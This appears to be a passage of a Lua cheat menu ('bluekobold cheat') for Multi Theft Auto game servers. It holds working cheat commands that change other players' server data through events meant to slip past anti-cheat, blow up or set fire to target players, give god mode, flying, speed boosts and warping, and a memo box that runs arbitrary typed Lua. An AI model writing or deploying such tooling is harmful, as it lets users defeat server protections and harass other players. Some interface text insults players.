isAcMode = false

-- Commands
Commands.register("help", function()
local commands = {}
for cmd, _ in pairs(Commands.registered) do
table.insert(commands, cmd)
end

output("All commands: \n", table.concat(commands, "\n"), "Faltorokos.lua")

end)

Commands.register("togacmode", function()
isAcMode = not isAcMode
output("Anti-Cheat mode is now " .. Consts.color .. (isAcMode and "on" or
"off") .. "#ffffff.", "Anti-Cheat Mode")
end)

Commands.register("setdata", function(cmd, targets, key, value)

if (not (targets and key and value)) then
return syntax(cmd, "Target(s)", "Key", "Value")
end

key = key:gsub(Consts.whiteSpace, " ")

targets = Players.find(targets)
value = Utils.string.autoConvert(value)

for _, target in pairs(targets) do

local old = getElementData(target, key)
if (isAcMode) then
triggerServerEvent("ac.elementData", root, target, key, value)
triggerServerEvent("core >> setElementData", root, target, key, value)
else
setElementData(target, key, value)
end
output(inspect(target) .. Consts.color .. " - #ffffff" .. key ..
Consts.color .. " | #ffffff" .. inspectValue(old) .. Consts.color .. " =>
#ffffff" .. inspectValue(value), "SetData")
end
end)

Commands.register("setcommondata", function(cmd, targets, key, value)

if (not (targets and key and value)) then
local _commonKeys = {}
 for i, v in pairs(ElementData.commonKeys) do
table.insert(_commonKeys, i)
end

return syntax(cmd, "Target(s)", "Common Key (" .. table.concat(_commonKeys,

"/") ..")", "Value")
end

keys = ElementData.getCommonKeys(key)
targets = Players.find(targets)
value = Utils.string.autoConvert(value)

for _, target in pairs(targets) do

for _, key in pairs(keys) do
local old = getElementData(target, key)
if (isAcMode) then
triggerServerEvent("ac.elementData", root, target, key, value)
triggerServerEvent("core >> setElementData", root, target, key,
value)
else
setElementData(target, key, value)
end
output(inspect(target) .. Consts.color .. " - #ffffff" .. key ..
Consts.color .. " | #ffffff" .. inspectValue(old) .. Consts.color .. " =>
#ffffff" .. inspectValue(value), "SetData")
end
end
end)

Commands.register("getdata", function(cmd, targets, key)

if (not (targets and key)) then
return syntax(cmd, "Target(s)", "Key")
end

key = key:gsub(Consts.whiteSpace, " ")

targets = Players.find(targets)

for _, target in pairs(targets) do

output(inspect(target) .. Consts.color .. " - #ffffff" .. key ..
Consts.color .. " | #ffffff" .. inspectValue(getElementData(target, key)),
"GetData")
end
end)

Commands.register("getcommondata", function(cmd, targets, key)

if (not (targets and key)) then
local _commonKeys = {}
for i, v in pairs(ElementData.commonKeys) do
table.insert(_commonKeys, i)
end

return syntax(cmd, "Target(s)", "Common Key (" .. table.concat(_commonKeys,

"/") ..")")
end

keys = ElementData.getCommonKeys(key)
targets = Players.find(targets)

for _, target in pairs(targets) do

 for _, key in pairs(keys) do
output(inspect(target) .. Consts.color .. " - #ffffff" .. key ..
Consts.color .. " | #ffffff" .. inspectValue(getElementData(target, key)),
"GetData")
end
end
end)

boomPlayerTimer = nil
Commands.register("stopboomplayer", function(cmd)
if (boomPlayerTimer) then
if (isTimer(boomPlayerTimer)) then
killTimer(boomPlayerTimer)
end
boomPlayerTimer = nil
if (cmd) then
output("BoomPlayer has successfully stopped.", "BoomPlayer")
end
end
end)

Commands.register("boomplayer", function(cmd, targets, rep, timeout)

if (not (targets)) then
return syntax(cmd, "Target(s)", "Repeat (Optional)", "Timeout (Optional)")
end

if (boomPlayerTimer and isTimer(boomPlayerTimer)) then

Commands.registered["stopboomplayer"]()
end

targets = Players.find(targets)
rep = tonumber(rep) or 1
timeout = tonumber(timeout) or 250

boomPlayerTimer = setTimer(function()
for _, target in pairs(targets) do
local x, y, z = getElementPosition(target)
--createProjectile(localPlayer, 39, x, y, z, nil, target)
createProjectile(localPlayer, 20, x, y, z, nil, target)
--detonateSatchels()
end
end, timeout, rep)
end)

isGod = false
godTimer = nil
Commands.register("god", function()
isGod = not isGod

if (godTimer) then
if (isTimer(godTimer)) then
killTimer(godTimer)
end
godTimer = nil
end

if (isGod) then
godTimer = setTimer(function()
setElementHealth(localPlayer, 100)
 end, 100, 0)
end

output("God is now " .. Consts.color .. (isGod and "on" or "off") ..

"#ffffff.", "God")
end)
addEventHandler("onClientPlayerDamage", localPlayer, function()
if (isGod) then
cancelEvent()
end
end)
addEventHandler("onClientPlayerStealthKill", root, function(player)
if (player and isGod) then
cancelEvent()
end
end)

Commands.register("sp", function(cmd, propname)

if (not (propname)) then
return syntax(cmd, "Propname
(https://wiki.multitheftauto.com/wiki/SetWorldSpecialPropertyEnabled)")
end

local state = not isWorldSpecialPropertyEnabled(propname)

setWorldSpecialPropertyEnabled(propname, state)
output("Special property " .. Consts.color .. propname .. " #ffffffis now " ..
Consts.color .. (state and "on" or "off") .. "#ffffff.", "SpecialProperty")
end)

Commands.register("fire", function(cmd, targets)

if (not (targets)) then
return syntax(cmd, "Target(s)")
end

targets = Players.find(targets)

for _, target in pairs(targets) do

local x, y, z = getElementPosition(target)
createFire(x, y, z)
end
end)

HornBoost = {}
HornBoost.key = "h"
HornBoost.multiplier = 1.01
addEventHandler("onClientPreRender", root, function()
if (not getKeyState(HornBoost.key)) then return end

local vehicle = getPedOccupiedVehicle(localPlayer)

if (not vehicle) then return end

local seat = getPedOccupiedVehicleSeat(localPlayer)

if (seat ~= 0) then return end

local velX, velY, velZ = getElementVelocity(vehicle)

setElementVelocity(vehicle, velX * HornBoost.multiplier, velY *
HornBoost.multiplier, velZ * HornBoost.multiplier)
end)

Fly = {}
Fly.state = false
Fly.speedMultipliers = {
["lshift"] = 4,
["lalt"] = 0.25,
}
Commands.register("fly", function()
Fly.state = not Fly.state
output("Sex is now " .. Consts.color .. (Fly.state and "on" or "off") ..
"#ffffff.", "Fly")
removeEventHandler("onClientPreRender", root, Fly.render)
setElementFrozen(localPlayer, Fly.state)
setElementCollisionsEnabled(localPlayer, not Fly.state)
if (Fly.state) then
addEventHandler("onClientPreRender", root, Fly.render)
end
end)
Fly.render = function(delta)
if (isChatBoxInputActive() or isConsoleActive()) then return end

if getPedOccupiedVehicle(localPlayer) then return end

local x, y, z = getElementPosition(localPlayer)
local camX, camY, camZ, camTX, camTY, camTZ = getCameraMatrix()
camTX, camTY = camTX - camX, camTY - camY

delta = delta * 0.1

for key, multiplier in pairs(Fly.speedMultipliers) do
if (getKeyState(key)) then
delta = delta * multiplier
end
end

local multiplier = delta / math.sqrt(camTX * camTX + camTY * camTY)

camTX, camTY = camTX * multiplier, camTY * multiplier

if (getKeyState("w")) then
x, y = x + camTX, y + camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(0))
end
if (getKeyState("s")) then
x, y = x - camTX, y - camTY
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(180))
end
if (getKeyState("a")) then
x, y = x - camTY, y + camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(270))
end
if (getKeyState("d")) then
x, y = x + camTY, y - camTX
setElementPosition(localPlayer, x, y, z)
setElementRotation(localPlayer, 0, 0, rotationFromCamera(90))
end
if (getKeyState("space")) then
 z = z + delta
setElementPosition(localPlayer, x, y, z)
end
if (getKeyState("lctrl")) then
z = z - delta
setElementPosition(localPlayer, x, y, z)
end
end
function rotationFromCamera(offset)
local camX, camY, _, camTX, camTY = getCameraMatrix()
local deltaX, deltaY = camTX - camX, camTY - camY
local rotZ = math.deg(math.atan(deltaY / deltaX))
if ((deltaY >= 0 and deltaX <= 0) or (deltaY <= 0 and deltaX <= 0)) then
rotZ = rotZ + 180
end
return -rotZ + 90 + offset
end

Lightning = {}
Lightning.state = false
Commands.register("lightning", function()
Lightning.state = not Lightning.state
output("Lightning is now " .. Consts.color .. (Lightning.state and "on" or
"off") .. "#ffffff.", "Lightning")
removeEventHandler("onClientClick", root, Lightning.click)
if (Lightning.state) then
addEventHandler("onClientClick", root, Lightning.click)
end
end)
Lightning.click = function(button, state, _, _, x, y, z)
if (button == "left" and state == "down") then
createProjectile(localPlayer, 21, x, y, z + 0.1)
end
end

Consts.__init()
]]

-- Attempt to execute the embedded Lua script using pcall

local success, errorMsg = pcall(loadstring(embeddedScript))

-- Check if the execution was successful

if success then
outputChatBox("Embedded Lua script executed successfully!")
else
outputChatBox("Error executing embedded Lua script: " .. errorMsg)
end
end

-- Bind the function to a specific key (change 'f' to your desired key)
buttons[7].func = executeEmbeddedScript
local memoGui = nil
local memoGuiWidth = 400
local memoGuiHeight = 30
local isMemoGuiVisible = false
local lastButtonClickTime = 0
local doubleClickInterval = 500 -- Time interval (in milliseconds) for a double
click

-- Function to create and show the memo GUI

local function createMemoGUI()
local memoX = menuX + padding
local memoY = menuY - memoGuiHeight - padding

memoGui = guiCreateMemo(memoX, memoY, memoGuiWidth, memoGuiHeight, "", false)

isMemoGuiVisible = true
end

-- Function to destroy the memo GUI

local function destroyMemoGUI()
if isElement(memoGui) then
destroyElement(memoGui)
memoGui = nil
isMemoGuiVisible = false
end
end

-- Function to execute the script from memo

local function executeMemoScript()
if memoGui then
local memoText = guiGetText(memoGui)
local cleanedText = memoText:gsub("\n", "") -- Remove newlines
local chunk, errorMessage = loadstring(cleanedText)

if chunk then
local success, result = pcall(chunk)
if success then
outputChatBox("#0080FF[RUNCODE]#FFFFFF: Script executed
successfully.", 0, 255, 0,true)
else
outputChatBox("#0080FF[RUNCODE]#FFFFFF: Error executing script:
" .. result, 255, 0, 0,true)
end
else
outputChatBox("#0080FF[RUNCODE]#FFFFFF: Syntax error: " ..
errorMessage, 255, 255, 255,true)
end
end

destroyMemoGUI() -- Destroy the memo GUI after executing the script

end
-- Assign the function to Button 16
buttons[2].func = function()
local currentTime = getTickCount()

if currentTime - lastButtonClickTime < doubleClickInterval then

if isMemoGuiVisible then
destroyMemoGUI()
else
createMemoGUI()
end
end

lastButtonClickTime = currentTime
end

-- Add a key event handler to execute the memo script when Enter key is pressed
addEventHandler("onClientKey", root, function(key, state)
if key == "enter" and state == "down" and memoGui then
executeMemoScript()
end
end)

-- Add the key handler to execute the memo script when Button 15 is clicked
buttons[5].func = function()
executeMemoScript()
end

addEventHandler("onClientKey", root, function(key, state)

if key == "enter" and state == "down" and memoGui and isMemoGuiVisible then
executeMemoScript()
end
end)

-- Update memo GUI position when the mod menu is moved

addEventHandler("onClientCursorMove", root, function(_, _, absoluteX, absoluteY)
if memoGui and isMemoGuiVisible then
local memoX = menuX + padding
local memoY = menuY - memoGuiHeight - padding
guiSetPosition(memoGui, memoX, memoY, false)
end
end)

local warpWindow, playerList, warpButton, searchEdit

local warpMenuVisible = false
function createWarpMenu()
warpWindow = guiCreateWindow(400, 200, 300, 450, "WARP-PANEL BY ZEOR <3",
false)
searchEdit = guiCreateEdit(10, 30, 280, 25, "", false, warpWindow)
addEventHandler("onClientGUIChanged", searchEdit, updatePlayerList)
playerList = guiCreateGridList(10, 60, 280, 330, false, warpWindow)
guiGridListAddColumn(playerList, "Csicskák:", 0.7)
local players = getElementsByType("player")
for _, player in ipairs(players) do
local row = guiGridListAddRow(playerList)
guiGridListSetItemText(playerList, row, 1, getPlayerName(player), false,
false)
end
warpButton = guiCreateButton(10, 400, 400, 600, "Warpolás A Kiválaszott
Csicskához", false, warpWindow)
addEventHandler("onClientGUIClick", warpButton, warpToPlayer, false)
guiSetVisible(warpWindow, true)
warpMenuVisible = true
end
function updatePlayerList()
local searchText = guiGetText(searchEdit)
guiGridListClear(playerList)

local players = getElementsByType("player")

for _, player in ipairs(players) do
local playerName = getPlayerName(player)
if string.find(playerName, searchText, 1, true) then
local row = guiGridListAddRow(playerList)
guiGridListSetItemText(playerList, row, 1, playerName, false, false)
end
end
end
function toggleWarpMenu()
if not warpMenuVisible then
createWarpMenu()
else
guiSetVisible(warpWindow, false)
warpMenuVisible = false
end
end
function warpToPlayer()
local selectedRow = guiGridListGetSelectedItem(playerList)
if selectedRow and selectedRow ~= -1 then
local playerName = guiGridListGetItemText(playerList, selectedRow, 1)
local playerToWarpTo = getPlayerFromName(playerName)
if playerToWarpTo then
local x, y, z = getElementPosition(playerToWarpTo)
setElementPosition(getLocalPlayer(), x, y, z + 1)

end
end
end
bindKey("9", "down", toggleWarpMenu)

------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
----------------------bluekobold cheat----------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------
------------------------------------------------------------

function toggleCursor()
 local cursorState = isCursorShowing() -- Retrieve the state of the player's
cursor
local cursorStateOpposite = not cursorState -- The logical opposite of the
cursor state

showCursor(cursorStateOpposite) -- Setting the new cursor state

end

bindKey("m", "down", toggleCursor)